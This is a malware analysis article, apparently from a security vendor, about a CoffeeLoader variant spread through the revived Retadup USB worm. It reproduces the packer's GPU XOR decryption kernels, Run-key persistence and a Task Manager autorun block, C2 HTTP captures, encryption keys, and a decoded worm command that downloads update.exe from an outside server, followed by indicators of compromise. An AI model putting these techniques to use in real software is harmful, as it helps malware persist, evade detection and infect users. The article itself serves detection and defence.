A USB worm's second life: Retadup spreading CoffeeLoader

By Oleg Kupreev

Published: 2026-11-16 · Archived: 2026-11-17 02:00:40 UTC

In August 2026, we detected a new variant of the CoffeeLoader malware in the wild. On launch, the NSIS-based installer executable dropped a file named 7z.dll into a temporary directory and ran it through rundll32.exe. The 7z.dll file was a patched version of the original library of the popular 7-Zip archiver. Part of its code had been replaced with malicious self-decrypting shellcode that turned out to be a new version of the Armoury packer. This packer was also previously used in the CoffeeLoader Trojan.

New Armoury variant

The old variant of the Armoury packer used the GPU to decrypt the Trojan's main body, relying on the OpenCL library, which implements the standard of the same name for high-performance computing.

```
__kernel void f(__global char* a,__global char* b,__global char* c,int d)
{
  c[get_global_id(0)] = a[get_global_id(0)] ^ b[get_global_id(0) % d];
}
```

The new variant also utilizes the GPU, but instead of OpenCL, it uses the OpenGL library, which implements the eponymous standard for applications that work with 2D and 3D graphics.

```
layout(local_size_x = 256) in;
layout(std430, binding = 0) buffer DataBuffer {
    uint data[];
};
layout(std430, binding = 1) buffer KeyBuffer {
    uint key[];
};
layout(std430, binding = 2) buffer ResultBuffer {
    uint result[];
};
void main() {
    uint index = gl_GlobalInvocationID.x;
    if (index >= data.length()) {
        return;
    }
    uint dataValue = data[index];
    uint keyValue = key[index];
    result[index] = dataValue ^ keyValue;
}
```

22	
23	
24	
25	

The Armoury payload has also changed. Previously, it was a DLL containing two shellcode fragments and the main body of CoffeeLoader. The first shellcode is a dropper responsible for installing the Trojan and gaining persistence. To do this, it copies the library to Windows folders and adds it to autorun. The second is a stager that creates a new dllhost.exe process and injects the main body of CoffeeLoader into it; in this variant, the main body is an executable file. Unlike the old version, the new version of the packer delivers yet another shellcode.

CoffeeLoader downloader

The shellcode decrypted by the Armoury packer is a new intermediate link in the infection chain: the CoffeeLoader downloader. It fully incorporates the dropper and stager functionality described above, as well as downloader functions used to fetch the Trojan's main body.



New CoffeeLoader downloader viewed in a text editor

To establish persistence, the Trojan copies 7z.dll to subfolders of %PROGRAMDATA% or %LOCALAPPDATA%. The Run registry key is used for autorun. The subfolder, library, and registry value are named with eight hexadecimal digits generated from system volume information.

1	C:\ProgramData\b79faace\b79faace.dll
2	C:\Users\[username]\AppData\Local\b79faace\b79faace.dll

1	Software\Microsoft\Windows\CurrentVersion\Run
2	'b79faace.dll' = 'rundll32.exe "C:\ProgramData\b79faace\b79faace.dll",SetCodecs'

To protect itself, the downloader creates a registry key that prevents the user from disabling autorun through Task Manager.

```
Software\Microsoft\Windows\CurrentVersion\Explorer\StartupApproved\Run
'b79faace.dll' = [08000000000000000000000]
```

Once persistence is established, the malware launches one of several processes (dllhost.exe, WerFault.exe, svchost.exe, OpenWith.exe, or AtBroker.exe), injects itself into it, and downloads the Trojan's main body from a hardcoded C2 server address. The download is performed over HTTPS using the `/payload?md5=` path. On the first request to the server, the `md5` parameter is set to zeros. On subsequent requests, it contains the hash of the previously downloaded payload.

Example of a request to download the main body of CoffeeLoader:

```
GET /payload?md5=00000000000000000000000000000000 HTTP/1.1
Connection: Keep-Alive
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:152.0) Gecko/20100101 Firefox/152.0
Host: api.internet-speed-check.com
```

Example of a server response:

```
HTTP/1.1 200 OK
Date: Tue, 29 Sep 2026 14:34:25 GMT
Content-Type: application/octet-stream
Content-Length: 60800
Connection: close
Server: cloudflare
x-content-md5: d7785198d9341310978e4cedc7bdb735
x-signature:
MEUCIDQNr86sBN3hmnLarIuPJ2WJEtXeIdnfsR4AkHUBI0AtAiEAyV5o2VM+LPDbme8nYdRydkrtI02TzyNdKh7+AdvPzUs=
strict-transport-security: max-age=63072000; includeSubdomains
x-frame-options: DENY
x-content-type-options: nosniff
cf-cache-status: DYNAMIC
Nel: {"report_to":"cf-nel","success_fraction":0.0,"max_age":604800}
Server-Timing: cfCacheStatus;desc="DYNAMIC"
Server-Timing: cfEdge;dur=4,cfOrigin;dur=66
Report-To: {"group":"cf-nel","max_age":604800,"endpoints":[{"url":"https://a.nel.cloudflare.com/report/v4?s=AAAAAAAA"}]}
CF-RAY: cf27d75a42bb5669-MIA
alt-svc: h3=":443"; ma=86400
```

In response to the request, the C2 returns encrypted shellcode that contains the main body of the Trojan. The payload is encrypted with a simple XOR, and the first 16 bytes of the downloaded data serve as the key.

The HTTP response header also contains two fields: `X-Signature` and `X-Content-MD5`. The first contains a signature for the downloaded data, which is verified with a public key embedded in the Trojan.

```
RUNTMSAAAAC2gVlbqvpsSutLE0/4ogdQ20Uw4qQyQQCw7448NvjMOaYWr+mlrvWiDCg79jWIhjiIuGuqxTb9VMsuceH4WyA5
```

The second field contains the MD5 checksum of the decrypted payload body.

If both the signature and the checksum checks pass, the Trojan allocates executable memory in its own process and transfers control to the downloaded and decrypted shellcode.

Main CoffeeLoader module

Once it gains control, the shellcode decrypts and sets up the main body of CoffeeLoader, then passes control to it. The Trojan itself hasn't changed much since previous campaigns. In the new version, the attackers use different keys to encrypt requests to the C2 and decrypt its responses: A21251838432306F2CD2540593656B9E and 2026F751079659CF71C7BA64B345C12A.

Certificate validation during the connection to the C2 has been replaced with signature verification of the C2 responses, which relies on the public key 23:6A:0D:E7:E0:FA:20:BC:0F:F4:7C:F6:8F:49:89:A8:10:BE:91:F0:0F:C2:F3:99:4D:46:F7:DF:D2:33:0B:00:6D:54:7A:AA:92:45:89:16:84:48:2E:AF:B The binary communication protocol no longer uses the magic constant `0xC0FFEE42`, which gave the malware its name: it now uses the far less telling value `0xD1D57871`.

However, we found no changes in functionality. The code contains the same three previously described commands for running a payload received from the C2: injecting it into a process, saving it to disk as an executable and then running it, or saving it as a DLL and running it via rundll32.exe.

Distribution and initial infection

The most notable finding was how exactly this CoffeeLoader variant spreads. Malware is most often distributed through email attachments, websites posing as free software download portals, ad banners that send users who click them through a chain of redirects to phishing resources, pirated software, and so on. CoffeeLoader infections, however, come from the Retadup worm.

Retadup is a malicious computer worm first discovered in 2017. It was written in the AutoIt and AutoHotkey scripting languages. Once on a victim's device, it copied itself to all connected USB flash drives and external drives as hidden files and shortcuts (LNK files). When a user opened the infected flash drive on another PC and clicked the shortcut, the worm made its way onto the new device. Systems infected with Retadup were joined into a botnet that could download and run additional malware on the operator's command.

In July 2019, French law enforcement gained access to Retadup's C2 servers and took control of the botnet. As soon as an infected computer checked in with the server for new commands, it was instructed to wipe the worm body from the system. Within just a few weeks, more than 850,000 machines were disinfected, and the botnet ceased to exist… until 2024.

Two years ago, someone began re-registering the domain names that Retadup had used as C2 servers and using them to issue commands to download third-party malware. At first, this was the SmokeLoader downloader packed using the 32-bit version of Armoury, but in early 2025, the same servers started serving CoffeeLoader.

We don't know whether it was the worm's author or someone else that decided to revive the C2 servers, since Retadup's C2 protocol is fairly simple: it consists of plaintext commands encoded with Base64 and then converted to hex.

Below is an example of traffic from a 2017 Retadup variant that still communicates successfully with its C2 in 2026.

```
1  GET /FD0C7EE872277F33E3335530299B836A/1/4/1/0/empty HTTP/1.1
2  Connection: Keep-Alive
3  User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) WinHttp/1.6.4.0 (WinHTTP/5.1) like Gecko
4  Host: noobminer.newblackage.com
5  HTTP/1.1 200 OK
6  Server: nginx
7  Date: Thu, 06 Aug 2026 04:07:32 GMT
8  Content-Type: text/html
9  Content-Length: 68
10 Connection: keep-alive
11 ::623274386648783863327 86c5a5841744e6a41774d4441774c584e735a575677::
12       decoded command: "ok|||sleep-600000-sleep"
13 HTTP/1.1 200 OK
```

```
Server: nginx
Date: Mon, 10 Aug 2026 04:18:43 GMT
Content-Type: text/html
Content-Length: 180
Connection: keep-alive
::623274386648783849475276643235736232466b4c576830644841364c79397964584a715a6e5a754c6e4a7a4c3356775a4746305a53356c65475
        decoded command: "ok|||| download-http://rurjfvn.rs/update.exe:!:update.exe-download"
```

Geography

When the Retadup botnet was taken down in 2019, the reported figure was 850,000 disinfected systems. Our statistics for the first three quarters of this year show that the new campaign is much smaller in scale. Our solutions blocked Retadup worm infection attempts on around 15,000 systems, most of them in Peru, Angola, Russia, and Bolivia.

IoC

Most active Retadup C2 servers
alphanoob[.]com
newblackage[.]com
newminersage[.]com
radnewage[.]com
minernewage[.]com
rad2016.publicvm[.]com
radpal.publicvm[.]com
roro2016.linkpc[.]net
CoffeeLoader C2
internet-speed-check[.]com
Servers hosting CoffeeLoader files
rurjfvn[.]rs/update.exe
alphanoob[.]com/update.exe
CoffeeLoader MD5 (DLL files)
2272dde17925d6179bea6fcf4d543d20
dce55eec553f6af16ba6481eaacb8638
449c9e8bc6eb308aa3c46c88959e1a4f
CoffeeLoader MD5 (NSIS-based installers)
58886d45a0c5e802a5d0a7545c36112d
cca710c5455c1fe2732771afbac16a09

Source: https://securelist.com/retadup-delivers-coffeeloader/121908/